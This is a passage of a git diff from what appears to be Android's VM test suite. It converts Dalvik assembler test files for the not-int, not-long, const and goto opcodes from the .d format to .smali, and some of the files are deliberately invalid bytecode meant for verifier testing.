diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d
deleted file mode 100644
index c22438f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_int_6.java
-.class public dot.junit.opcodes.not_int.d.T_not_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       not-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali
new file mode 100644
index 0000000..7a85870
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_6.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d
deleted file mode 100644
index 9d27053..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_1.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       not-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali
new file mode 100644
index 0000000..e58e0cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_1.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       not-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d
deleted file mode 100644
index cd253a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_2.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 5
-
-       not-long v0, v3
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali
new file mode 100644
index 0000000..2f85ded
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_2.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 5
+
+       not-long v0, v3
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d
deleted file mode 100644
index b9eda02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_3.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 5
-
-       not-long v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali
new file mode 100644
index 0000000..df9f779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_3.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d
deleted file mode 100644
index 3ecd0f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_4.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 5
-
-       not-long v0, v4
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali
new file mode 100644
index 0000000..ffa28d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_4.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d
deleted file mode 100644
index 31c1dfc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_5.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 5
-
-       not-long v0, v4
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali
new file mode 100644
index 0000000..82a48a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_5.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d
deleted file mode 100644
index 4d511df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_not_long_6.java
-.class public dot.junit.opcodes.not_long.d.T_not_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 5
-
-       not-long v0, v2
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali
new file mode 100644
index 0000000..a0b7ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_6.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v2
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d
deleted file mode 100644
index 8246f1b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_1.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()F
-.limit regs 3
-
-       const v1, 1.54
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali
new file mode 100644
index 0000000..b586c19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_const/d/T_opc_const_1;
+.super Ljava/lang/Object;
+.source "T_opc_const_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 3
+
+    const v1, 0x3fc51eb8    # 1.54f
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d
deleted file mode 100644
index d651fe9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_2.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const v254, 20000000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali
new file mode 100644
index 0000000..96121c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_2.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const v254, 20000000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d
deleted file mode 100644
index d0065db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_3.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali
new file mode 100644
index 0000000..0e2125d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_3.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d
deleted file mode 100644
index f2d5697..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_const_4.java
-.class public dot.junit.opcodes.opc_const.d.T_opc_const_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const v1, 1234
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali
new file mode 100644
index 0000000..f0f28d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_4.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const v1, 1234
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d
deleted file mode 100644
index e9b75ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_1.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-; test positive offset
-      goto Label2
-LabelReturn:      
-      return v4
-      
-Label2:
-       add-int/lit8 v4, v4, -1
-       if-lez v4, LabelExit
-; test negative offset       
-       goto Label2
-       
-LabelExit:       
-       goto LabelReturn
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali
new file mode 100644
index 0000000..437b9c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_1.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+# test positive offset
+      goto :Label2
+:LabelReturn
+      return v4
+      
+:Label2
+       add-int/lit8 v4, v4, -1
+       if-lez v4, :LabelExit
+# test negative offset       
+       goto :Label2
+       
+:LabelExit
+       goto :LabelReturn
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d
deleted file mode 100644
index 8cb3602..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_2.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
